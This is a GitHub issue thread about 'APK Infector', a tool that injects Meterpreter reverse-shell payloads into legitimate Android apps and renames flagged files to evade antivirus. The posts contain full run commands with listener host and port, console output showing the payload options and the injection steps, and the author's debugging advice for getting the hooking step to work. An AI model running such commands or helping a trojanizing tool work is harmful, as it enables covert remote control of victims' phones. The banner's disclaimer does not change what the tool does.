apkinfector icon indicating copy to clipboard operation
apkinfector copied to clipboard

TypeError: a bytes-like object is required, not 'str'

Open MR-AMDEV opened this issue 4 years ago • 6 comments

root@kali:~/Downloads/apkinfector# python3 infector.py --lhost 192.168.10.11 --lport 3322 --apk-name new_apk.apk --normal-apk /root/Desktop/lite.apk                                                 
╔─────────────────────────────────────────────────────────╗                                        
|    APK Infector - Advanced Android AV Evasion TOOL      |                                        
|      Please do not upload APK to VirusTotal.com         |                                        
┖─────────────────────────────────────────────────────────┙                                        
                                                                                                   
                  .           .                                                                    
                  M.          .M                                                                   
                   MMMMMMMMMMM.                                                                    
                .MMM\MMMMMMM/MMM.                                                                  
               .MMM.7MMMMMMM.7MMM.                                                                 
              .MMMMMMMMMMMMMMMMMMM                                                                 
              MMMMMMM.......MMMMMMM                                                                
              MMMMMMMMMMMMMMMMMMMMM                                                                
         MMMM MMMMMMMMMMMMMMMMMMMMM MMMM                                                           
        dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD                                                          
        dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD                                                          
        dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD                                                          
        dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD                                                          
        dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD                                                          
         MMM8 MMMMMMMMMMMMMMMMMMMMM 8MMM                                                           
              MMMMMMMMMMMMMMMMMMMMM                                                                
              MMMMMMMMMMMMMMMMMMMMM                                                                
                  MMMMM   MMMMM        APK Infector v1.0                                           
                  MMMMM   MMMMM        Written In Python3                                          
                  MMMMM   MMMMM                                                                    
                  MMMMM   MMMMM                                                                    
                  .MMM.   .MMM.                                                                    
                                                                                                   
╔──────────────────────────────────────────────────────────╗                                       
| [ Author  ] Pushpender Singh                             |                                       
| [ GitHub  ] https://github.com/Technowlogy-Pushpender    |                                       
| [ YouTube ] youtube.com/channel/UCRv-wp0CWtW2J33NkTId62w |                                       
┖──────────────────────────────────────────────────────────┙                                       
                                                                                                   
╔──────────────────────────────────────────────────────────╗                                       
|     DISCLAIMER : Illegal Use is Stricly Prohibited       |                                       
┖──────────────────────────────────────────────────────────┙                                       
                                                                                                   
                                                                                                   
                                                                                                   
[*] Generating Random Variables which will be used in Ofustication                                 
[+] Generated Successfully!                                                                        
                                                                                                   
[*] Checking for Dependencies                                                                      
================================                                                                   
                                                                                                   
[:] NOTE : Jarsigner or APKsigner is used to Sign APK, One of them must be installed on your System
                                                                                                   
[*] Checking : APKTool                                                                             
[+] APKTool - OK                                                                                   
                                                                                                   
[*] Checking : Jarsigner                                                                           
[+] Jarsigner - OK                                                                                 
                                                                                                   
[*] Checking : APKsigner                                                                           
[+] APKsigner - OK                                                                                 
                                                                                                   
[*] Checking : ZipAlign                                                                            
[+] ZipAlign - OK                                                                                  
                                                                                                   
    ====================================                                                           
    [*] Available Types of Payload                                                                 
    ====================================                                                           
    (1) android/meterpreter/reverse_tcp                                                            
    (2) android/meterpreter/reverse_http                                                           
    (3) android/meterpreter/reverse_https                                                          
                                                                                                   
[?] Which Type of Payload, You Want to Create (1/2/3): 1                                           
                                                                                                   
[*] Creating Android Payload Using msfvenom                                                        
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload             
[-] No arch selected, selecting arch: dalvik from the payload                                      
No encoder or badchars specified, outputting raw payload                                           
Payload size: 10187 bytes                                                                          
                                                                                                   
[+] Payload Created Successfully !                                                                 
                                                                                                   
[?] Want to Create msfconsole handler.rc file (y/n): y                                             
                                                                                                   
[*] Creating handler.rc                                                                            
[+] Created Successfully : /root/Downloads/apkinfector/handler.rc                                  
                                                                                                   
[*] Decompiling Normal/Legitimate APK                                                              
=============================================                                                      
Destination directory (/root/Downloads/apkinfector/normal_apk) already exists. Use -f switch if you want to overwrite it.                                                                             
[!] Failed to Decompile Normal/Legitimate APK                                                      
                                                                                                   
[*] Decompiling Android Payload                                                                    
=============================================                                                      
I: Using Apktool 2.4.1 on android_payload.apk                                                      
I: Loading resource table...                                                                       
I: Decoding AndroidManifest.xml with resources...                                                  
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk                    
I: Regular manifest package...                                                                     
I: Decoding file-resources...                                                                      
I: Decoding values */* XMLs...                                                                     
I: Baksmaling classes.dex...                                                                       
I: Copying assets and libs...                                                                      
I: Copying unknown files...                                                                        
I: Copying original files...                                                                       
[!] Failed to Decompile Evil APK                                                                   
                                                                                                   
[*] Changing default folder and filenames being flagged by AV                                      
[+] Changed Successfully!                                                                          
                                                                                                   
[*] Moving Meterpreter Payload to Normal/Legitimate APK                                            
[+] Moved Successfully!                                                                            
                                                                                                   
[*] Trying to Find .smali File of Launcher                                                         
[+] Finded .smali launcher : b''                                                                   
Traceback (most recent call last):                                                                 
  File "infector.py", line 308, in <module>                                                        
    hook_meterpreter_in_apk(VAR1, VAR2, VAR3)                                                      
  File "infector.py", line 174, in hook_meterpreter_in_apk                                         
    launcherActivity = launcherActivity.replace('.', '/')  # Ex:- Changing zl.com.river_iq.RiverIQ  TO zl/com/river_iq/RiverIQ                                                                        
TypeError: a bytes-like object is required, not 'str'    

MR-AMDEV avatar Apr 28 '20 02:04 MR-AMDEV

[*] Decompiling Normal/Legitimate APK                                                              
=============================================                                                      
Destination directory (/root/Downloads/apkinfector/normal_apk) already exists. Use -f switch if you want to overwrite it.                                                                             
[!] Failed to Decompile Normal/Legitimate APK 

See this error, you have to remove the normal_apk directory, as the directory already exist, it failed to decompile the normal apk, due to which you get this error

Anyway, I am going to update the project, so that it delete the junk folder on each execution

PushpenderIndia avatar Apr 30 '20 02:04 PushpenderIndia

Check It Now, Whether it works fine or not

PushpenderIndia avatar Apr 30 '20 02:04 PushpenderIndia

Ok lets me check it i ll be back soon

MR-AMDEV avatar Apr 30 '20 17:04 MR-AMDEV

Now the directory issue is solved although the problem remains the same:(used the updated git repo)


root@kali:~/Downloads/apkinfector# python3 infector.py --lhost 192.168.10.11 --lport 4555 --apk-name lite_payload --normal-apk /root/Desktop/lite.apk                                                 
╔─────────────────────────────────────────────────────────╗                                        
|    APK Infector - Advanced Android AV Evasion TOOL      |                                        
|      Please do not upload APK to VirusTotal.com         |                                        
┖─────────────────────────────────────────────────────────┙                                        
                                                                                                   
                  .           .                                                                    
                  M.          .M                                                                   
                   MMMMMMMMMMM.                                                                    
                .MMM\MMMMMMM/MMM.                                                                  
               .MMM.7MMMMMMM.7MMM.                                                                 
              .MMMMMMMMMMMMMMMMMMM                                                                 
              MMMMMMM.......MMMMMMM                                                                
              MMMMMMMMMMMMMMMMMMMMM                                                                
         MMMM MMMMMMMMMMMMMMMMMMMMM MMMM                                                           
        dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD                                                          
        dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD                                                          
        dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD                                                          
        dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD                                                          
        dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD                                                          
         MMM8 MMMMMMMMMMMMMMMMMMMMM 8MMM                                                           
              MMMMMMMMMMMMMMMMMMMMM                                                                
              MMMMMMMMMMMMMMMMMMMMM                                                                
                  MMMMM   MMMMM        APK Infector v1.0                                           
                  MMMMM   MMMMM        Written In Python3                                          
                  MMMMM   MMMMM                                                                    
                  MMMMM   MMMMM                                                                    
                  .MMM.   .MMM.                                                                    
                                                                                                   
╔──────────────────────────────────────────────────────────╗                                       
| [ Author  ] Pushpender Singh                             |                                       
| [ GitHub  ] https://github.com/Technowlogy-Pushpender    |                                       
| [ YouTube ] youtube.com/channel/UCRv-wp0CWtW2J33NkTId62w |                                       
┖──────────────────────────────────────────────────────────┙                                       
                                                                                                   
╔──────────────────────────────────────────────────────────╗                                       
|     DISCLAIMER : Illegal Use is Stricly Prohibited       |                                       
┖──────────────────────────────────────────────────────────┙                                       
                                                                                                   
                                                                                                   
                                                                                                   
[*] Generating Random Variables which will be used in Ofustication                                 
[+] Generated Successfully!                                                                        
                                                                                                   
[*] Checking for Dependencies                                                                      
================================                                                                   
                                                                                                   
[:] NOTE : Jarsigner or APKsigner is used to Sign APK, One of them must be installed on your System
                                                                                                   
[*] Checking : APKTool                                                                             
[+] APKTool - OK                                                                                   
                                                                                                   
[*] Checking : Jarsigner                                                                           
[+] Jarsigner - OK                                                                                 
                                                                                                   
[*] Checking : APKsigner                                                                           
[+] APKsigner - OK                                                                                 
                                                                                                   
[*] Checking : ZipAlign                                                                            
[+] ZipAlign - OK                                                                                  
                                                                                                   
    ====================================                                                           
    [*] Available Types of Payload                                                                 
    ====================================                                                           
    (1) android/meterpreter/reverse_tcp                                                            
    (2) android/meterpreter/reverse_http                                                           
    (3) android/meterpreter/reverse_https                                                          
                                                                                                   
[?] Which Type of Payload, You Want to Create (1/2/3): 1                                           
                                                                                                   
[*] Creating Android Payload Using msfvenom                                                        
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload             
[-] No arch selected, selecting arch: dalvik from the payload                                      
No encoder or badchars specified, outputting raw payload                                           
Payload size: 10187 bytes                                                                          
                                                                                                   
[+] Payload Created Successfully !                                                                 
                                                                                                   
[?] Want to Create msfconsole handler.rc file (y/n): y                                             
                                                                                                   
[*] Creating handler.rc                                                                            
[+] Created Successfully : /root/Downloads/apkinfector/handler.rc                                  
                                                                                                   
[*] Decompiling Normal/Legitimate APK                                                              
=============================================                                                      
I: Using Apktool 2.4.1 on lite.apk                                                                 
I: Loading resource table...                                                                       
I: Decoding AndroidManifest.xml with resources...                                                  
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk                    
I: Regular manifest package...                                                                     
I: Decoding file-resources...                                                                      
I: Decoding values */* XMLs...                                                                     
I: Baksmaling classes.dex...                                                                       
I: Copying assets and libs...                                                                      
I: Copying unknown files...                                                                        
I: Copying original files...                                                                       
[+] Decompiled Successfully !                                                                      
                                                                                                   
[*] Decompiling Android Payload                                                                    
=============================================                                                      
I: Using Apktool 2.4.1 on android_payload.apk                                                      
I: Loading resource table...                                                                       
I: Decoding AndroidManifest.xml with resources...                                                  
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk                    
I: Regular manifest package...                                                                     
I: Decoding file-resources...                                                                      
I: Decoding values */* XMLs...                                                                     
I: Baksmaling classes.dex...                                                                       
I: Copying assets and libs...                                                                      
I: Copying unknown files...                                                                        
I: Copying original files...                                                                       
[+] Decompiled Successfully !                                                                      
                                                                                                   
[*] Changing default folder and filenames being flagged by AV                                      
[+] Changed Successfully!                                                                          
                                                                                                   
[*] Moving Meterpreter Payload to Normal/Legitimate APK                                            
[+] Moved Successfully!                                                                            
                                                                                                   
[*] Trying to Find .smali File of Launcher
[+] Finded .smali launcher : b''                                                                   
Traceback (most recent call last):                                                                 
  File "infector.py", line 315, in <module>                                                        
    hook_meterpreter_in_apk(VAR1, VAR2, VAR3)                                                      
  File "infector.py", line 181, in hook_meterpreter_in_apk                                         
    launcherActivity = launcherActivity.replace('.', '/')  # Ex:- Changing zl.com.river_iq.RiverIQ  TO zl/com/river_iq/RiverIQ                                                                        
TypeError: a bytes-like object is required, not 'str'

MR-AMDEV avatar Apr 30 '20 17:04 MR-AMDEV

Same problem for me

Fabxx avatar May 22 '20 10:05 Fabxx

Same problem for me

I think the program is unable to find the hooking path using default grep command from AndroidManifest.xml.

Due to which you are getting this error, I have done some minor modification, please try it now.

This time apkinfector will hopefully ask you the hook path (such as zl.com.river_iq.RiverIQ) if it unable to find it on its own

PushpenderIndia avatar Jun 09 '20 11:06 PushpenderIndia